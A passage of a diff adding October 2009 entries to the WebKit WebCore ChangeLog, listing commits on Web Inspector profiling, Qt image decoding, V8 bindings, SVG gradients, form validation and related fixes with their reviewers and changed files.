+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addProfile):
+        (WebCore::InspectorController::getProfileHeaders):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::createProfileHeader):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addProfileHeader):
+        (WebCore::InspectorFrontend::didGetProfileHeaders):
+        (WebCore::InspectorFrontend::didGetProfile):
+        * inspector/InspectorFrontend.h:
+        * inspector/JavaScriptProfileNode.cpp:
+        (WebCore::ProfileNodeClass):
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView.profileCallback):
+        (WebInspector.ProfileView):
+        (WebInspector.ProfileView.prototype._mouseDownInDataGrid):
+        (WebInspector.ProfileView.prototype._assignParentsInProfile):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addProfileHeader):
+
+2009-10-13  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        ImageDecoderQt: Minor tweaks to the decoder
+
+        - Only cache the data when we start to use it.
+        - Start with a repetition count of none for normal images.
+        - Do not use canRead as this will trigger parsing of the full image
+        - Cope with a GIF failing to decode the first frame, do not
+          set m_failed to true if decoding the first frame failed
+        - Inform the QImageReader about the format that was detected
+        - Always create a ImageDecoderQt when when we have more
+        than four byte.
+
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoder::create): Always create QImageReader for a significant speed up
+        (WebCore::ImageDecoderQt::ImageDecoderQt): Initialize m_repetitionCount to cAnimationNone
+        (WebCore::ImageDecoderQt::setData): Only call ImageDecoder::setData when everything has been received
+        (WebCore::ImageDecoderQt::isSizeAvailable): Do not check m_failed twice.
+        (WebCore::ImageDecoderQt::filenameExtension): Convert from QByteArray to String
+        (WebCore::ImageDecoderQt::frameBufferAtIndex): Check for m_failed before trying to decode
+        (WebCore::ImageDecoderQt::internalDecodeSize): Fail if the size is QSize()
+        (WebCore::ImageDecoderQt::forceLoadEverything): Handle the case were decoding the first frame fails
+        * platform/graphics/qt/ImageDecoderQt.h: Change the m_format type
+
+2009-10-14  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Web Inspector: Migrate profiles to the injected script-based schema.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30328
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getProfileHeaders):
+        (WebCore::InspectorBackend::getProfile):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addProfile):
+        (WebCore::InspectorController::getProfileHeaders):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::createProfileHeader):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addProfileHeader):
+        (WebCore::InspectorFrontend::didGetProfileHeaders):
+        (WebCore::InspectorFrontend::didGetProfile):
+        * inspector/InspectorFrontend.h:
+        * inspector/JavaScriptProfileNode.cpp:
+        (WebCore::ProfileNodeClass):
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView.profileCallback):
+        (WebInspector.ProfileView):
+        (WebInspector.ProfileView.prototype._mouseDownInDataGrid):
+        (WebInspector.ProfileView.prototype._assignParentsInProfile):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addProfileHeader):
+
+2009-10-13  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Don't collect call frame properties until they're needed for completion.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30334
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.completions):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getCompletions): if call frame id is specified and the expression is empty collect frame properties.
+        (InjectedScript.CallFrameProxy.prototype._wrapScopeChain): don't send call frame properties until they're needed.
+        * inspector/front-end/ScriptsPanel.js:
+
+2009-10-13  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29106
+        [Qt] make CachedResourceHandle.h compile in winscw Symbian compiler.
+
+        Don't inline constructor CachedResourceHandle<T>(R*) to stop winscw
+        compiler aggressively resolve inheritance of class R.  
+        
+        The winscw compiler bug is reported at:
+        https://xdabug001.ext.nokia.com/bugzilla/show_bug.cgi?id=9812.
+        
+        The change should be reverted when the above bug is fixed in winscw compiler.
+
+        * loader/CachedResourceHandle.h:
+        (WebCore::::CachedResourceHandle):
+
+2009-10-13  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r49554, because it broke Win and Chromium builds.
+        http://trac.webkit.org/changeset/49554
+
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::CSSPrimitiveValue::cssText):
+
+2009-10-13  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Stringify CSS units manually (without printf) to make the formatting
+        locale-insensitive and obey CSS spec with respect to large values.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=18994
+
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::appendCSSDouble):
+        (WebCore::formatWithUnits):
+        (WebCore::CSSPrimitiveValue::cssText):
+
+2009-10-13  Evan Martin  <evan@chromium.org>
+
+        Reviewed by David Levin.
+
+        Make grippy lines vertical on horizontal scrollbars in Linux Chrome.
+        While we're rebaselining scrollbars, fix an off by one in the vertical
+        scrollbar rendering too.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30319
+
+        Tests: this is covered by every pixel test involving scrollbars.
+
+        * platform/chromium/ScrollbarThemeChromiumLinux.cpp:
+        (WebCore::ScrollbarThemeChromiumLinux::paintThumb):
+
+2009-10-13  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by David Hyatt.
+
+        Fix issue where clientX and clientY on MouseEvents were wrong when
+        the page was zoomed and scrolled.
+
+        Test: fast/events/clientXY-in-zoom-and-scroll.html
+
+        * dom/MouseRelatedEvent.cpp:
+        (WebCore::contentsX): Take page zoom into account.
+        (WebCore::contentsY): Ditto.
+
+2009-10-13  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Change the order of arguments on some of the user stylesheet/script functions.  Split the removal functions
+        out into separate ones for scripts and stylesheets.
+
+        * WebCore.base.exp:
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::addUserScriptToWorld):
+        (WebCore::PageGroup::addUserStyleSheetToWorld):
+        (WebCore::PageGroup::removeUserScriptFromWorld):
+        (WebCore::PageGroup::removeUserStyleSheetFromWorld):
+        (WebCore::PageGroup::removeUserScriptsFromWorld):
+        (WebCore::PageGroup::removeUserStyleSheetsFromWorld):
+        * page/PageGroup.h:
+        (WebCore::PageGroup::userScripts):
+        (WebCore::PageGroup::userStyleSheets):
+
+2009-10-13  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Chrome's "Skia" theme paints select controls backwards in RTL.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30320
+
+        Test: fast/text/international/bidi-menulist.html
+        (The test is about something else, but it includes RTL selects.)
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintMenuList): flip the arrow position in RTL case.
+
+2009-10-13  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30318
+        ScriptExecutionContext is not anymore needed to create an EventListener - remove old code.
+        It's a followup to r48884. It removed the need to pass the ScritpExecutionContext
+        into EventListener constructor but did not remove the code pulling ScriptExecutionContext.
+
+        Tests:
+        Test adds event listener to a DocumentType Node which is created without a document
+        and then dispatches the event after attaching a node to the tree. Event
+        should fire when node is attached to the tree.
+
+        * fast/events/add-event-without-document-expected.txt: Added.
+        * fast/events/add-event-without-document.html: Added.
+
+        All changes in files below are the same - remove the code that calls
+        EventTarget::scriptExecutionContext and checks it for NULL.
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
+        * bindings/js/JSDesktopNotificationsCustom.cpp:
+        (WebCore::JSNotification::addEventListener):
+        (WebCore::):
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
+        * bindings/js/JSWebSocketCustom.cpp:
+        (WebCore::JSWebSocket::addEventListener):
+        (WebCore::JSWebSocket::removeEventListener):
+
+2009-10-13  Drew Wilson  <atwilson@atwilson-macpro.local>
+
+        Reviewed by David Levin.
+
+        Enable SHARED_WORKERS for Chromium
+        https://bugs.webkit.org/show_bug.cgi?id=30289
+
+        Cleaned up bitrot in SharedWorker V8 bindings.
+
+        * WebCore.gypi:
+        Removed default implementation of SharedWorkerRepository so Chromium can provide its own.
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        Added V8SharedWorkerContext.cpp.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        Added case statements for SHAREDWORKER and SHAREDWORKERCONTEXT.
+        * bindings/v8/V8Index.cpp:
+        Now includes V8SharedWorkerContext.h to allow supporting SharedWorkers.
+        * bindings/v8/V8Index.h:
+        Added definition for SHAREDWORKERCONTEXT wrapper.
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        Added includes for SharedWorker.h and SharedWorkerContext.h.
+        * bindings/v8/custom/V8CustomBinding.h:
+        Reorganized Worker field indexes to be clearer, and fixed mismatch in worker field index.
+        Also added field indexes for SharedWorkers.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        Added runtime enabler for the SharedWorker constructor.
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        Cleaned up bitrot (various APIs have changed since this file was written).
+        * page/DOMWindow.idl:
+        Added EnabledAtRuntime flag to window.SharedWorker.
+
+2009-10-13  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30345
+        HTTP tests for credential handling fail on Tiger
+
+        We cannot prevent NSURLConnection from doing its credentil handling on Tiger anyway; so
+        let it do its work without intervention. Once again, we pass explicitly passed credentials
+        in URL, fixing regressions from Safari 3.
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceHandle::receivedCredential):
+
+2009-10-13  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Adam Barth.
+
+        Bug 28964 -  [Chromium] ChromiumDataObject should have getter/setter interface
+
+        Reworked and added to the getter/setter interface in ChromiumDataObject:
+        - added contains...() methods to just query the state
+        - added containsValid...URL() methods for URL data members
+        - removed takeFileNames() as this was too type-dependent
+        - changed return type of fileNames() to Vector<String>
+        - added interface methods to allow appending to and iteration over file names
+
+        No new tests (no functional behavior changed).
+
+        * platform/chromium/ChromiumDataObject.h:
+        (WebCore::ChromiumDataObject::containsMainURL):
+        (WebCore::ChromiumDataObject::containsValidMainURL):
+        (WebCore::ChromiumDataObject::containsMainURLTitle):
+        (WebCore::ChromiumDataObject::containsTextPlain):
+        (WebCore::ChromiumDataObject::containsTextHTML):
+        (WebCore::ChromiumDataObject::containsHTMLBaseURL):
+        (WebCore::ChromiumDataObject::containsValidHTMLBaseURL):
+        (WebCore::ChromiumDataObject::containsContent):
+        (WebCore::ChromiumDataObject::containsContentFileExtension):
+        (WebCore::ChromiumDataObject::containsContentFileName):
+        (WebCore::ChromiumDataObject::setContentFileName):
+        (WebCore::ChromiumDataObject::containsFileNames):
+        (WebCore::ChromiumDataObject::fileNames):
+        (WebCore::ChromiumDataObject::clearFileNames):
+        (WebCore::ChromiumDataObject::countFileNames):
+        (WebCore::ChromiumDataObject::fileNameAt):
+        (WebCore::ChromiumDataObject::setFileNames):
+        (WebCore::ChromiumDataObject::appendToFileNames):
+        (WebCore::ChromiumDataObject::popFileName):
+
+2009-10-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Temporary debugging changes to figure out why the webgl tests are crashing on the build bot.
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+
+2009-10-13  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Visibility:visible inside a compositing layer doesn't make the element visible
+        https://bugs.webkit.org/show_bug.cgi?id=30339
+        
+        When deciding if a layer had any renderable content, RenderLayerBacking::paintIntoLayer()
+        only consulted hasVisibleContent(), which does not take into a account child layers which
+        may be visible. We also have to consult hasVisibleDescendant() as well.
+
+        Test: compositing/compositing-visible-descendant.html
+
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::hasVisibleDescendant):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+
+2009-10-13  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Refactor ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH
+        https://bugs.webkit.org/show_bug.cgi?id=30278
+
+        Move the definition of ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH 
+        from the make system into common code.
+
+        Enable ENABLE_PLUGIN_PACKAGE_SIMPLE_HASH if NETSCAPE_PLUGIN_API 
+        support is not enabled.
+
+        Remove notImplemented() from PluginPackageNone.cpp and 
+        PluginDataNone.cpp make them just empty functions.
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * plugins/PluginDataNone.cpp:
+        (WebCore::PluginData::initPlugins):
+        (WebCore::PluginData::refresh):
+        * plugins/PluginPackageNone.cpp:
+        (WebCore::PluginPackage::determineQuirks):
+        (WebCore::PluginPackage::fetchInfo):
+        (WebCore::PluginPackage::load):
+
+2009-10-13  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30150
+        <rdar://problem/7283540> REGRESSION: Crash when accessing clipboardData.types
+
+        Test: editing/pasteboard/crash-accessing-clipboardData-types.html
+
+        * platform/mac/ClipboardMac.mm: (WebCore::addHTMLClipboardTypesForCocoaType): The String
+        class doesn't have operator bool, it's operator NSString* that is invoked instead, and it
+        converts null strings to non-null @"".
+
+2009-10-13  Drew Wilson  <atwilson@atwilson-macpro.local>
+
+        Reviewed by Dimitri Glazkov.
+
+        window attributes (like localStorage) that are disabled at runtime are still visible
+        https://bugs.webkit.org/show_bug.cgi?id=30240
+
+        Adding codegen/bindings to support runtime disabling of attributes.
+
+        No new tests (only supported by chrome currently)
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        Refactored the guts of GenerateBatchedAttributeData into a separate GenerateSingleBatchedAttribute with a passed-in indentation level to allow generating a single BatchedAttribute struct.
+        Added support for the EnabledAtRuntime extended attribute, which generates a call to the appropriate XXXXEnabled() API before adding the attribute to the instance.
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::batchConfigureAttributes):
+        Refactored attribute setting code into a common inline routine.
+        * bindings/v8/V8Proxy.h:
+        (WebCore::configureAttribute):
+        Inline function which configures a single attribute given a BatchedAttribute struct.
+        * bindings/v8/custom/V8CustomBinding.h:
+        Added (DECLARE_)ACCESSOR_RUNTIME_ENABLER to allow enabling attributes at runtime.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        Added code to enable window.Audio only if MediaPlayer.isAvailable() == true
+        * page/DOMWindow.idl:
+        Added [EnabledAtRuntime] extended attribute to the Audio attribute.
+
+2009-10-13  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27457
+        Added support for static validation on type=email input elements as per
+        HTML5 specs:
+        http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state
+
+        Test: fast/forms/ValidityState-typeMismatch-email.html
+
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch): ValidityState.typeMismatch
+        performs validation on type=email input elements now.
+        (WebCore::ValidityState::isValidEmailAddress): simple validation method 
+        * html/ValidityState.h:
+
+2009-10-13  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Event listeners installed on a window object returned from window.open() don't work
+        https://bugs.webkit.org/show_bug.cgi?id=28716
+
+        Tests: http/tests/security/window-events-clear-domain.html
+               http/tests/security/window-events-clear-port.html
+               http/tests/security/window-events-pass.html
+
+        * dom/Document.cpp: Split code of Document::clear() in a way to avoid removing all
+        window event handlers when implicitOpen is called. It is called in 2 cases - on
+        committing loaded content (no need to clean handlers) and on document.open() (needs to remove handlers).
+
+        (WebCore::Document::open): in addition to calling implicitOpen it also removes window
+        event handlers, to preserve the behavior of document.open().
+
+        (WebCore::Document::implicitOpen): includes the part of removed Document::clear() that
+        does not remove window event handlers.
+
+        * dom/Document.h: Removed clear().
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::stopLoading): add check to avoid removing window event handlers
+        if we transition from temporary empty document to a loaded one.
+
+        (WebCore::FrameLoader::didOpenURL): Remove closeURL() which was called twice when loading.
+        (WebCore::FrameLoader::finishedLoadingDocument): add closeURL() to compensate for change above.
+
+2009-10-13  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fix a leak in the inspector by calling didRemoveNode with
+        an error code when it fails, instead of returning from the
+        Backend.
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::removeNode):
+        * inspector/front-end/ElementsTreeOutline.js:
+
+2009-10-13  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30337>.
+        Web Inspector: Should be able to delete nodes from the Elements Tree.
+        
+        When the delete key is pressed and a element is selected in the tree,
+        the element should be deleted from the Elements Tree and the DOM.
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::removeNode):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::didRemoveNode):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype._updateModifiedNodes):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.handleKeyEvent):
+
+2009-10-13  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix REGRESSION(49479): Mouseover on resources graph doesn't show timings.
+        
+        Set pointer-events: none on the new overlay so mouseover events are passed
+        to the resources graph so we can show timings.
+
+        * inspector/front-end/inspector.css:
+
+2009-10-13  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Plugins : Remove all traces of winId. Use ownerWidget() instead.
+        
+        This is a bug for two reasons:
+        1. Everytime we use winId(), we end up creating a native widget. This causes an
+        unnecessary copy of contents from the backing store to the native widget.
+        2. Neither windowed nor windowless plugins require the winId of the QWebView or
+        QGraphicsView.
+        
+        Introduce ownerWidget() which returns a QWidget * without creating a native widget
+        (as opposed to QWidget::find(winId)).
+
+       https://bugs.webkit.org/show_bug.cgi?id=30170
+
+        * platform/qt/PlatformScreenQt.cpp:
+        (WebCore::screenDepthPerComponent):
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::show):
+        * platform/qt/QWebPageClient.h:
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::setSharedXEventFields):
+        (WebCore::PluginView::initXEvent):
+        (WebCore::PluginView::getValue):
+        (WebCore::PluginView::platformStart):
+
+2009-10-13  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed build system fix. Typo in a filename.
+
+        * GNUmakefile.am:
+
+2009-10-12  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+        Alter profile link format to enable multiple profile types
+        https://bugs.webkit.org/show_bug.cgi?id=30253
+
+        The new profile URL includes the profile type along with the
+        profile title and uid.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
+        (WebCore::InspectorController::addStartProfilingMessageToConsole):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentClick.followLink):
+        (WebInspector.documentClick):
+        (WebInspector.linkifyStringAsFragment):
+
+2009-10-12  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix same-named profiles grouping in the Profiles panel.
+
+        The tree node re-parenting while adding a new group node was broken.
+         
+        https://bugs.webkit.org/show_bug.cgi?id=30299
+
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.addProfile):
+
+2009-10-12  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Enforce async interaction between inspector controller and frontend.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30300
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.dispatch.delayDispatch):
+        (WebInspector.dispatch):
+
+2009-10-12  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Sam Weinig.
+
+        Fix issue caretRangeFromPoint() returns wrong result for a zoomed and 
+        scrolled page.
+        https://bugs.webkit.org/show_bug.cgi?id=30034
+
+        * dom/Document.cpp:
+        (WebCore::Document::elementFromPoint): calculate the correct point 
+        relative to document when the page is zoomed and scrolled.
+        (WebCore::Document::caretRangeFromPoint): calculate the correct point 
+        relative to document when the page is zoomed and scrolled.
+
+2009-10-12  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Sam Weinig.
+
+        JavaScript bindings of WebSocket addEventListener/removeEventListener
+        https://bugs.webkit.org/show_bug.cgi?id=29841
+
+        Test: fast/websockets/websocket-event-target.html
+
+        * bindings/js/JSWebSocketCustom.cpp:
+        (WebCore::JSWebSocket::addEventListener):
+        (WebCore::JSWebSocket::removeEventListener):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * websockets/WebSocket.idl:
+
+2009-10-12  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29078
+        <rdar://problem/7288221>
+
+        Add a mechanism to blacklist certain codecs.  Initially, just blacklist UTF-7 as HTML5 encourages.
+
+        * platform/text/TextEncodingRegistry.cpp:
+        (WebCore::pruneBlacklistedCodecs):
+        (WebCore::buildBaseTextCodecMaps):
+        (WebCore::extendTextCodecMaps):
+
+2009-10-09  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Add support for the beforeload event to frames.  Complete support of the beforeload event by making sure
+        its wrapper gets properly constructed (so that the URL field of the event can be accessed).  Add support
+        for the Objective-C wrapper class as well.
+
+        Added fast/dom/beforeload/frame-before-load.html
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * bindings/objc/DOMEvents.mm:
+        (kitClass):
+        * dom/BeforeLoadEvent.h:
+        (WebCore::BeforeLoadEvent::isBeforeLoadEvent):
+        * dom/Event.cpp:
+        (WebCore::Event::isBeforeLoadEvent):
+        * dom/Event.h:
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::parseMappedAttribute):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadWithDocumentLoader):
+
+2009-10-12  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fix <rdar://problem/7094146> Reproducible crash at
+        RenderObject::localToAbsolute()
+
+        Test: fast/dynamic/position-absolute-to-fixed-crash.html
+
+        The crash was caused by stale positioned objects lists following an
+        object transitioning from being absolutely position to being fixed
+        positioned.
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::styleWillChange): In case of a transition between
+        absolute and fixed position, mark the parent as having a child needing
+        layout, so that this object will get inserted into its new container's
+        positioned objects list.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange): Changed a condition to cover
+        this transition, so that this object gets removed from its current
+        container's positioned objects list.
+
+2009-10-12  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Simon Hausmann.
+
+        Add a palette() method that is needed by our RenderTheme.
+
+        * platform/qt/QWebPageClient.h:
+
+2009-10-12  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG Gradients can't handle percentage values in userSpaceOnUse mode
+        [https://bugs.webkit.org/show_bug.cgi?id=30286]
+
+        Fixed *GradientAttributes to take SVGLength instead of double. This casues
+        the problem, that we can't calculate the correct size of a gradient on
+        userSpaceOnUse mode with percentage values.
+
+        Test: svg/custom/gradient-userSpaceOnUse-with-percentage.svg
+
+        * svg/LinearGradientAttributes.h:
+        (WebCore::LinearGradientAttributes::LinearGradientAttributes):
+        (WebCore::LinearGradientAttributes::x1):
+        (WebCore::LinearGradientAttributes::y1):
+        (WebCore::LinearGradientAttributes::x2):
+        (WebCore::LinearGradientAttributes::y2):
+        (WebCore::LinearGradientAttributes::setX1):
+        (WebCore::LinearGradientAttributes::setY1):
+        (WebCore::LinearGradientAttributes::setX2):
+        (WebCore::LinearGradientAttributes::setY2):
+        * svg/RadialGradientAttributes.h:
+        (WebCore::RadialGradientAttributes::RadialGradientAttributes):
+        (WebCore::RadialGradientAttributes::cx):
+        (WebCore::RadialGradientAttributes::cy):
+        (WebCore::RadialGradientAttributes::r):
+        (WebCore::RadialGradientAttributes::fx):
+        (WebCore::RadialGradientAttributes::fy):
+        (WebCore::RadialGradientAttributes::setCx):
+        (WebCore::RadialGradientAttributes::setCy):
+        (WebCore::RadialGradientAttributes::setR):
+        (WebCore::RadialGradientAttributes::setFx):
+        (WebCore::RadialGradientAttributes::setFy):
+        * svg/SVGLinearGradientElement.cpp:
+        (WebCore::SVGLinearGradientElement::buildGradient):
+        (WebCore::SVGLinearGradientElement::collectGradientProperties):
+        * svg/SVGRadialGradientElement.cpp:
+        (WebCore::SVGRadialGradientElement::buildGradient):
+        (WebCore::SVGRadialGradientElement::collectGradientProperties):
+
+2009-10-12  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <http://webkit.org/b/30315>.
+        Web Inspector: DOM Content and Load lines in Resources are unclear what they mean.
+        
+        Add tooltip text to the Load event and DOM Content event lines through
+        a new layer that allows these lines to be on top of the view.
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype._updateGraphDividersIfNeeded):
+        (WebInspector.ResourcesPanel.prototype._updateDividersLabelBarPosition):
+        * inspector/front-end/inspector.css:
+
+2009-10-12  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        No review, rolling out r49429, because it broke layout tests.
+        http://trac.webkit.org/changeset/49429
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
+
+2009-10-12  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        SVG - crash on feMerge when input not available
+        [https://bugs.webkit.org/show_bug.cgi?id=30297]
+
+        Make a early return in SVGFEMergeElement if the needed
+        filter effect doesn't exist.
+
+        Test: svg/filters/feMerge-wrong-input.svg
+
+        * svg/SVGFEMergeElement.cpp:
+        (WebCore::SVGFEMergeElement::build):
+
+2009-10-12  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added automatic flush before compositing
+        https://bugs.webkit.org/show_bug.cgi?id=30236
+
+        This causes image to always render correctly. In writing a testcase
+        I needed to implement readPixels. This exposed a bug in reading back
+        values from a CanvasArray subclass, so I fixed that as well. Now when
+        you wrap a CanvasArray in a JSValue it actually wraps the specific
+        subclass. To do this I need to add virtual methods to each CanvasArray
+        subclass to determine the type and a custom toJS method for CanvasArray
+        to create the proper wrapper. 
+
+        Test: fast/canvas/webgl/triangle.html
+
+        * WebCore.xcodeproj/project.pbxproj:
